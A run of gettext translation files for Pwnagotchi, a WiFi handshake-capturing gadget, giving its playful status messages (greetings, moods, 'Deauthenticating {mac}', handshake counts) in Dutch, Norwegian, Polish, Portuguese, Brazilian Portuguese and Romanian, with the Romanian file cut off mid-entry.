"Beter kan het leven niet worden!" msgid "I pwn therefore I am." msgstr "Ik pwn daarom ben ik er." msgid "So many networks!!!" msgstr "Zo veel netwerken!!!" msgid "I'm having so much fun!" msgstr "Ik heb zoveel plezier!" msgid "My crime is that of curiosity ..." msgstr "Mijn misdrijf is mijn nieuwsgierigheid ..." #, python-brace-format msgid "Hello {name}! Nice to meet you. {name}" msgstr "Hallo {name}! Leuk je te ontmoeten. {name}" #, python-brace-format msgid "Unit {name} is nearby! {name}" msgstr "Unit {name} is dichtbij! {name}" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ...tot ziens {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} is weg ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Whoopsie ...{name} is weg." #, python-brace-format msgid "{name} missed!" msgstr "{name} gemist!" msgid "Missed!" msgstr "Gemist!" msgid "Nobody wants to play with me ..." msgstr "Niemand wil met mij spelen ..." msgid "I feel so alone ..." msgstr "Ik voel me zo alleen ..." msgid "Where's everybody?!" msgstr "Waar is iedereen?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Dutje doen voor {secs}s ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Ik wacht voor {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Rond kijken ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hey {what}, laten we vrienden worden!" #, python-brace-format msgid "Associating to {what}" msgstr "Verbinden met {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Yo {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Ik besloot dat {mac} geen WiFi meer nodig heeft!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Deauthenticatie van {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Kickbanning {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Cool, we hebben {num} nieuwe handshake{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Oops, er ging iets fout ...Rebooting ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "{num} stations gekicked\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "{num} nieuwe vrienden gemaakt.\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Ik heb {num} nieuwe handshakes\n" msgid "Met 1 peer" msgstr "1 peer ontmoet" #, python-brace-format msgid "Met {num} peers" msgstr "{num} peers ontmoet" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Ik heb gepwned voor {duration} and heb {deauthed} clients gekicked! Ik heb " "ook {associated} nieuwe vrienden gevonden en heb {handshakes} handshakes " "gegeten! #pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "uren" msgid "minutes" msgstr "minuten" msgid "seconds" msgstr "seconden" msgid "hour" msgstr "uur" msgid "minute" msgstr "minuut" msgid "second" msgstr "seconde" ================================================ FILE: pwnagotchi/locale/no/LC_MESSAGES/voice.po ================================================ # pwnagotchi norwegian voice data # Copyright (C) 2019 # This file is distributed under the same license as the PACKAGE package. # FIRST AUTHOR untech , 2019. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-04 12:57+0100\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: Edvard Botten \n" "Language-Team: LANGUAGE \n" "Language: norwegian\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=CHARSET\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Hei, jeg er Pwnagotchi! Starter ..." msgid "New day, new hunt, new pwns!" msgstr "En ny dag, ny jakt, og nye pwns!" msgid "Hack the Planet!" msgstr "Hack planeten!" msgid "AI ready." msgstr "AI klart." msgid "The neural network is ready." msgstr "Det nevrale nettverket er klart." msgid "Generating keys, do not turn off ..." msgstr "Generer nøkkler, ikke skru meg av ..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hei, kanalen {channel} er åpen! AP-en din takker." msgid "Reading last session logs ..." msgstr "Leser forrige sesjonen's logs ..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Har lest {lines_so_far} linjer hittil ..." msgid "I'm bored ..." msgstr "Kjeder meg ..." msgid "Let's go for a walk!" msgstr "La oss stikke på tur!" msgid "This is the best day of my life!" msgstr "Dette er den beste dagen i mitt liv!" msgid "Shitty day :/" msgstr "Jævlig dag :/" msgid "I'm extremely bored ..." msgstr "Kjeder livet av meg ..." msgid "I'm very sad ..." msgstr "Jeg er veldig trist ..." msgid "I'm sad" msgstr "Jeg er trist ..." msgid "Leave me alone ..." msgstr "La meg være alene ..." msgid "I'm mad at you!" msgstr "Jeg er sint på deg!" msgid "I'm living the life!" msgstr "Lever livet, lett!" msgid "I pwn therefore I am." msgstr "Jeg pwner derfor er jeg." msgid "So many networks!!!" msgstr "Så mange nettverk!!!" msgid "I'm having so much fun!" msgstr "Jeg har det så gøy!" msgid "My crime is that of curiosity ..." msgstr "Nysgjerrighet er min eneste forbrytelse ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Hallo {name}! Hyggelig å treffe deg!" #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Yo {name}! Skjer'a?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Heisann {name} driver du med da?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "{name} er i nærheten!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... Ha det {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} er borte ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Oi da ... {name} forsvant." #, python-brace-format msgid "{name} missed!" msgstr "{name} bommet!" msgid "Missed!" msgstr "Bommet!" msgid "Good friends are a blessing!" msgstr "Gode venner er livet verdt!" msgid "I love my friends!" msgstr "Jeg digger vennene mine!" msgid "Nobody wants to play with me ..." msgstr "Ingen vil leke med meg ..." msgid "I feel so alone ..." msgstr "Jeg er så ensom ..." msgid "Where's everybody?!" msgstr "Hvor er alle sammen?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Sover i {secs}s ..." msgid "Zzzzz" msgstr "" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "" msgid "Good night." msgstr "God natt." msgid "Zzz" msgstr "" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Venter i {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Ser meg rundt ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hei {what} la oss være venner!" #, python-brace-format msgid "Associating to {what}" msgstr "Tilkobler til {what}" #, python-brace-format msgid "Yo {what}!" msgstr "" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Bestemte meg att {mac} ikke lenger trenger WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Kobler av {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Kickbanner {mac}" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Fett, vi fikk {num} nye håndtrykk!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Du har {count} melding{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Oi, noe gikk helt skakk ... Rebooter ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Kicket {num} stasjoner\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Møtte {num} nye venner\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Skaffet {num} håndtrykk\n" msgid "Met 1 peer" msgstr "Møtte 1 annen" #, python-brace-format msgid "Met {num} peers" msgstr "Møtte {num} andre" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "Jeg har pwnet for {duration} og kicket {dauthed} klienter! Jeg har også " "møtt {associated} nye venner og spiste {handshakes} håndtrykk! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "timer" msgid "minutes" msgstr "minutter" msgid "seconds" msgstr "sekunder" msgid "hour" msgstr "time" msgid "minute" msgstr "minutt" msgid "second" msgstr "sekund" ================================================ FILE: pwnagotchi/locale/pl/LC_MESSAGES/voice.po ================================================ # Polish voice data for pwnagotchi. # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # szymex73 , 2019. # msgid "" msgstr "" "Project-Id-Version: 0.1.0\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-04 06:37+0100\n" "PO-Revision-Date: 2019-10-21 10:55+0200\n" "Last-Translator: gkrs <457603+gkrs@users.noreply.github.com>\n" "Language-Team: PL <457603+gkrs@users.noreply.github.com>\n" "Language: polish\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Hej, jestem Pwnagotchi! Uruchamianie ..." msgid "New day, new hunt, new pwns!" msgstr "Nowy dzień, nowe łowy, nowe pwny!" msgid "Hack the Planet!" msgstr "Hakujmy planetę!" msgid "AI ready." msgstr "SI gotowa." msgid "The neural network is ready." msgstr "Sieć neuronowa jest gotowa." msgid "Generating keys, do not turn off ..." msgstr "Generuję klucze, nie wyłączaj ..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hej, kanał {channel} jest wolny! Twój AP będzie Ci wdzięczny." msgid "Reading last session logs ..." msgstr "Czytam logi z ostatniej sesji ..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Na razie przeczytałem {lines_so_far} linii logów ..." msgid "I'm bored ..." msgstr "Nudzi mi się ..." msgid "Let's go for a walk!" msgstr "Chodźmy na spacer!" msgid "This is the best day of my life!" msgstr "To najlepszy dzień mojego życia!" msgid "Shitty day :/" msgstr "Gówniany dzień :/" msgid "I'm extremely bored ..." msgstr "Straaaasznie się nudzę ..." msgid "I'm very sad ..." msgstr "Jest mi bardzo smutno ..." msgid "I'm sad" msgstr "Jest mi smutno" msgid "Leave me alone ..." msgstr "Zostaw mnie w spokoju ..." msgid "I'm mad at you!" msgstr "Wkurzam się na ciebie" msgid "I'm living the life!" msgstr "Cieszę się życiem!" msgid "I pwn therefore I am." msgstr "Pwnuję więc jestem." msgid "So many networks!!!" msgstr "Jak dużo sieci!!!" msgid "I'm having so much fun!" msgstr "Ale jest super!" msgid "My crime is that of curiosity ..." msgstr "Moją zbrodnią jest ciekawość ..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Cześć {name}! Miło Cię poznać." #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Siema {name}! Co słychać?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Hej {name} jak się masz?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Urządzenie {name} jest w pobliżu!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Umm ... żegnaj {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} zniknął ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Ups ... {name} zniknął." #, python-brace-format msgid "{name} missed!" msgstr "{name} pudło!" msgid "Missed!" msgstr "Pudło!" msgid "Good friends are a blessing!" msgstr "Dobrzy przyjaciele to błogosławieństwo!" msgid "I love my friends!" msgstr "Kocham moich przyjaciół!" msgid "Nobody wants to play with me ..." msgstr "Nikt nie chce się ze mną bawić ..." msgid "I feel so alone ..." msgstr "Czuję się taki samotny ..." msgid "Where's everybody?!" msgstr "Gdzie są wszyscy?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Zdrzemnę się przez {secs}s ..." msgid "Zzzzz" msgstr "" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "" msgid "Good night." msgstr "Dobranoc." msgid "Zzz" msgstr "" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Czekam {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Rozglądam się ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hej {what} zostańmy przyjaciółmi!" #, python-brace-format msgid "Associating to {what}" msgstr "Dołączam do {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Siema {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Według mnie {mac} nie potrzebuje WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Rozłączam {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Banuję {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Super, zdobyliśmy {num} nowych handshake'ów!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Masz {count} nowych wiadomości!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ups, coś poszło nie tak ... Restaruję ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Wyrzuciłem {num} stacji\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Zdobyłem {num} nowych przyjaciół\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Zdobyłem {num} handshake'ów\n" msgid "Met 1 peer" msgstr "Spotkałem 1 kolegę" #, python-brace-format msgid "Met {num} peers" msgstr "Spotkałem {num} kolegów" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Pwnowałem {duration} i wyrzuciłem {deauthed} klientów! Spotkałem także " "{associated} nowych przyjaciół i zjadłem {handshakes} handshake'ow! " "#pwnagotchi #pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "godzin" msgid "minutes" msgstr "minut" msgid "seconds" msgstr "sekund" msgid "hour" msgstr "godzina" msgid "minute" msgstr "minuta" msgid "second" msgstr "sekunda" ================================================ FILE: pwnagotchi/locale/pt/LC_MESSAGES/voice.po ================================================ # pwnagotchi Portuguese (european) translation file. # Copyright (C) 2019 David Sopas # This file is distributed under the same license as the PACKAGE package. # David Sopas , 2019. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-09 17:42+0200\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: David Sopas \n" "Language-Team: LANGUAGE \n" "Language: Portuguese\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=CHARSET\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Olá, eu sou o Pwnagotchi! A iniciar ..." msgid "New day, new hunt, new pwns!" msgstr "Novo dia, nova caçada, novos pwns!" msgid "Hack the Planet!" msgstr "Hacka o Planeta!" msgid "AI ready." msgstr "IA pronta." msgid "The neural network is ready." msgstr "A rede neural está pronta." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hey, o canal {channel} está livre! O teu AP irá agradecer." msgid "I'm bored ..." msgstr "Estou aborrecido ..." msgid "Let's go for a walk!" msgstr "Vamos fazer uma caminhada!" msgid "This is the best day of my life!" msgstr "Este é o melhor dia da minha vida!" msgid "Shitty day :/" msgstr "Que merda de dia :/" msgid "I'm extremely bored ..." msgstr "Estou muito aborrecido ..." msgid "I'm very sad ..." msgstr "Estou muito triste ..." msgid "I'm sad" msgstr "Estou triste" msgid "I'm living the life!" msgstr "Estou aproveitar a vida!" msgid "I pwn therefore I am." msgstr "Eu pwn, logo existo." msgid "So many networks!!!" msgstr "Tantas redes!!!" msgid "I'm having so much fun!" msgstr "Estou a divertir-me tanto!" msgid "My crime is that of curiosity ..." msgstr "O meu crime é ser curioso ..." #, python-brace-format msgid "Hello {name}! Nice to meet you. {name}" msgstr "Olá {name}! Prazer em conhecer-te. {name}" #, python-brace-format msgid "Unit {name} is nearby! {name}" msgstr "A unidade {name} está perto! {name}" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... adeus {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} desapareceu ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Ups ... {name} desaparecey." #, python-brace-format msgid "{name} missed!" msgstr "{name} perdido!" msgid "Missed!" msgstr "Perdido!" msgid "Nobody wants to play with me ..." msgstr "Ninguém quer brincar comigo ..." msgid "I feel so alone ..." msgstr "Sinto-me tão só ..." msgid "Where's everybody?!" msgstr "Onde estão todos?" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "A fazer uma sesta durante {secs}s ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" msgid "Good night." msgstr "Boa noite." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "A aguardar durante {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "A dar uma olhada ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hey {what} vamos ser amigos!" #, python-brace-format msgid "Associating to {what}" msgstr "A associar a {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Yo {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Decidi que o {mac} não precisa de WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "A fazer deauth {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "A chutar {mac}!" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Porreiro, temos {num} novo handshake{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ups, algo correu mal ... A reiniciar ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Chutei {num} estações\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Fiz {num} novos amigos\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Obti {num} handshakes\n" msgid "Met 1 peer" msgstr "Conheci 1 peer" #, python-brace-format msgid "Met {num} peers" msgstr "Conheci {num} peers" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "Tenho estado a pwnar durante {duration} e chutei {deauthed} clientes! Também conheci " "{associated} novos amigos e comi {handshakes} handshakes! #pwnagotchu " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "horas" msgid "minutes" msgstr "minutos" msgid "seconds" msgstr "segundos" msgid "hour" msgstr "hora" msgid "minute" msgstr "minuto" msgid "second" msgstr "segundo" ================================================ FILE: pwnagotchi/locale/pt-BR/LC_MESSAGES/voice.po ================================================ # pwnagotchi Brazilian Portuguese translation file. # Copyright (C) 2019 Cassiano Aquino # This file is distributed under the same license as the pwnagotchi package. # Cassiano Aquino , 2019. # #, fuzzy msgid "" msgstr "" "Project-Id-Version: PACKAGE VERSION\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-10-05 14:10+0200\n" "PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\n" "Last-Translator: Cassiano Aquino \n" "Language-Team: LANGUAGE \n" "Language: Brazilian Portuguese\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "ZzzzZZzzzzZzzz" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Oi! Eu sou o Pwnagotchi! Iniciando ..." msgid "New day, new hunt, new pwns!" msgstr "Novo dia, Nova caça, Novos pwns!" msgid "Hack the Planet!" msgstr "Hackeie o Planeta!" msgid "AI ready." msgstr "AI pronta." msgid "The neural network is ready." msgstr "A rede neural está pronta." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Ei, o canal {channel} está livre! Seu AP ira agradecer." msgid "I'm bored ..." msgstr "Estou entediado ..." msgid "Let's go for a walk!" msgstr "Vamos dar uma caminhada!" msgid "This is the best day of my life!" msgstr "Este e o melhor dia da minha vida!" msgid "Shitty day :/" msgstr "Dia de merda :/" msgid "I'm extremely bored ..." msgstr "Estou extremamente entediado ..." msgid "I'm very sad ..." msgstr "Estou muito triste ..." msgid "I'm sad" msgstr "Estou triste" msgid "I'm living the life!" msgstr "Estou aproveitando a vida!" msgid "I pwn therefore I am." msgstr "pwn, logo existo." msgid "So many networks!!!" msgstr "Quantas redes!!!" msgid "I'm having so much fun!" msgstr "Estou me divertindo muito!" msgid "My crime is that of curiosity ..." msgstr "Meu crime é ser curioso ..." #, python-brace-format msgid "Hello {name}! Nice to meet you. {name}" msgstr "Olá {name}! Prazer em conhecê-lo. {name}" #, python-brace-format msgid "Unit {name} is nearby! {name}" msgstr "Unidade {name} está próxima! {name}" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm ... até logo {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} desapareceu ..." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Oops ... {name} desapareceu." #, python-brace-format msgid "{name} missed!" msgstr "{name} perdido!" msgid "Missed!" msgstr "Perdido!" msgid "Nobody wants to play with me ..." msgstr "Ninguém quer brincar comigo ..." msgid "I feel so alone ..." msgstr "Estou tão sozinho ..." msgid "Where's everybody?!" msgstr "Aonde está todo mundo?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Cochilando por {secs}s ..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Aguardando por {secs}s ..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Olhando ao redor ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Ei {what} vamos ser amigos!" #, python-brace-format msgid "Associating to {what}" msgstr "Associando com {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Oi {what}!" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Acabei de decidir que {mac} não precisa de WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "De-autenticando {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Kickbanning {mac}" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Legal, nos capturamos {num} handshake{plural} novo{plural}!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "Ops, algo falhou ... Reiniciando ..." #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Kickei {num} estações\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Fiz {num} novos amigos\n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Peguei {num} handshakes\n" msgid "Met 1 peer" msgstr "Conheci 1 peer" #, python-brace-format msgid "Met {num} peers" msgstr "Conheci {num} peers" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "" "Eu estou pwning fazem {duration} e kickei {deauthed} clientes! Eu também conheci " "{associated} novos amigos e comi {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgid "hours" msgstr "horas" msgid "minutes" msgstr "minutos" msgid "seconds" msgstr "segundos" msgid "hour" msgstr "hora" msgid "minute" msgstr "minuto" msgid "second" msgstr "segundo" ================================================ FILE: pwnagotchi/locale/ro/LC_MESSAGES/voice.po ================================================ # Pwnagotchi translation. # Copyright (C) 2019 # This file is distributed under the same license as the pwnagotchi package. # FIRST AUTHOR , 2019. # #, msgid "" msgstr "" "Project-Id-Version: 0.0.1\n" "Report-Msgid-Bugs-To: \n" "POT-Creation-Date: 2019-11-04 12:57+0100\n" "PO-Revision-Date: 2019-11-20 00:18+594\n" "Last-Translator: Ungureanu Radu-Andrei \n" "Language-Team: pwnagotchi <33197631+dadav@users.noreply.github." "com>\n" "Language: ro\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=utf-8\n" "Content-Transfer-Encoding: 8bit\n" msgid "ZzzzZZzzzzZzzz" msgstr "" msgid "Hi, I'm Pwnagotchi! Starting ..." msgstr "Buna, sunt Pwnagotchi! Pornesc..." msgid "New day, new hunt, new pwns!" msgstr "O noua zi, o noua vanatoare, noi pwn-uri!" msgid "Hack the Planet!" msgstr "Pirateaza planeta!" msgid "AI ready." msgstr "AI-ul e gata." msgid "The neural network is ready." msgstr "Rețeaua neuronală este gata." msgid "Generating keys, do not turn off ..." msgstr "Se generează chei, nu închide..." #, python-brace-format msgid "Hey, channel {channel} is free! Your AP will say thanks." msgstr "Hey, canalul {channel} este liber! AP-ul tău îti va mulțumi." msgid "Reading last session logs ..." msgstr "Se citesc log-urile din sesiunea anterioara..." #, python-brace-format msgid "Read {lines_so_far} log lines so far ..." msgstr "Am citit {lines_so_far} linii din log pana acum..." msgid "I'm bored ..." msgstr "Sunt plictisit..." msgid "Let's go for a walk!" msgstr "Hai să ne plimbăm!" msgid "This is the best day of my life!" msgstr "Asta este cea mai buna zi din viața mea!" msgid "Shitty day :/" msgstr "O zi proasta :/" msgid "I'm extremely bored ..." msgstr "Sunt extrem de plictisit..." msgid "I'm very sad ..." msgstr "Sunt foarte trist..." msgid "I'm sad" msgstr "Sunt trist" msgid "Leave me alone ..." msgstr "Lasă-mă in pace..." msgid "I'm mad at you!" msgstr "Sunt supărat pe tine!" msgid "I'm living the life!" msgstr "Trăiesc viața!" msgid "I pwn therefore I am." msgstr "Eu pwn-ez, deci aici sunt." msgid "So many networks!!!" msgstr "Atât de multe rețele!" msgid "I'm having so much fun!" msgstr "Mă distrez așa de mult!" msgid "My crime is that of curiosity ..." msgstr "Crima mea este una de curiozitate..." #, python-brace-format msgid "Hello {name}! Nice to meet you." msgstr "Bună {name}! Mă bucur să te cunosc." #, python-brace-format msgid "Yo {name}! Sup?" msgstr "Yo {name}! Cmf?" #, python-brace-format msgid "Hey {name} how are you doing?" msgstr "Hey {nume} ce mai faci?" #, python-brace-format msgid "Unit {name} is nearby!" msgstr "Unitatea {name} este aproape!" #, python-brace-format msgid "Uhm ... goodbye {name}" msgstr "Uhm... Pa {name}" #, python-brace-format msgid "{name} is gone ..." msgstr "{name} a dispărut." #, python-brace-format msgid "Whoops ... {name} is gone." msgstr "Oops... {name} a dispărut." #, python-brace-format msgid "{name} missed!" msgstr "{name} ratat!" msgid "Missed!" msgstr "Ratat!" msgid "Good friends are a blessing!" msgstr "Prietenii buni sunt o binecuvântare!" msgid "I love my friends!" msgstr "Îmi iubesc prietenii!" msgid "Nobody wants to play with me ..." msgstr "Nimeni nu vrea sa se joace cu mine..." msgid "I feel so alone ..." msgstr "Mă simt așa de singuratic..." msgid "Where's everybody?!" msgstr "Unde-i toată lumea?!" #, python-brace-format msgid "Napping for {secs}s ..." msgstr "Dorm pentru {secs}s..." msgid "Zzzzz" msgstr "Zzzzz" #, python-brace-format msgid "ZzzZzzz ({secs}s)" msgstr "ZzzZzzz ({secs}s)" msgid "Good night." msgstr "Noapte bună." msgid "Zzz" msgstr "Zzz" #, python-brace-format msgid "Waiting for {secs}s ..." msgstr "Aștept pentru {secs}s..." #, python-brace-format msgid "Looking around ({secs}s)" msgstr "Mă uit împrejur ({secs}s)" #, python-brace-format msgid "Hey {what} let's be friends!" msgstr "Hey {what} hai să fim prieteni!" #, python-brace-format msgid "Associating to {what}" msgstr "Mă asociez cu {what}" #, python-brace-format msgid "Yo {what}!" msgstr "Yo {what}" #, python-brace-format msgid "Just decided that {mac} needs no WiFi!" msgstr "Am decis că lui {mac} nu-i trebuie WiFi!" #, python-brace-format msgid "Deauthenticating {mac}" msgstr "Îl deautentific pe {mac}" #, python-brace-format msgid "Kickbanning {mac}!" msgstr "Îi dau kickban lui {mac}" #, python-brace-format msgid "Cool, we got {num} new handshake{plural}!" msgstr "Șmecher, avem {num} de handshake-uri noi!" #, python-brace-format msgid "You have {count} new message{plural}!" msgstr "Ai {count} mesaj(e) nou/noi!" msgid "Oops, something went wrong ... Rebooting ..." msgstr "OOps, ceva s-a întamplat... Îmi dau reboot...+" #, python-brace-format msgid "Kicked {num} stations\n" msgstr "Am dat afară {num} de stații\n" #, python-brace-format msgid "Made {num} new friends\n" msgstr "Am făcut {num} prieteni noi \n" #, python-brace-format msgid "Got {num} handshakes\n" msgstr "Am primit {num} de handshake-uri\n" msgid "Met 1 peer" msgstr "Am întalnit un peer" #, python-brace-format msgid "Met {num} peers" msgstr "Am întalnit {num} de peer-uri" #, python-brace-format msgid "" "I've been pwning for {duration} and kicked {deauthed} clients! I've also met " "{associated} new friends and ate {handshakes} handshakes! #pwnagotchi " "#pwnlog #pwnlife #hacktheplanet #skynet" msgstr "Eu am făcut pwning pentru {duration} și am dat afara {deauthed} clienți! " "De asemenea, am întalnit {associated} prieteni noi și am mancat {handshakes} de " "handshake-uri! #pwnagotchi #pwnlog 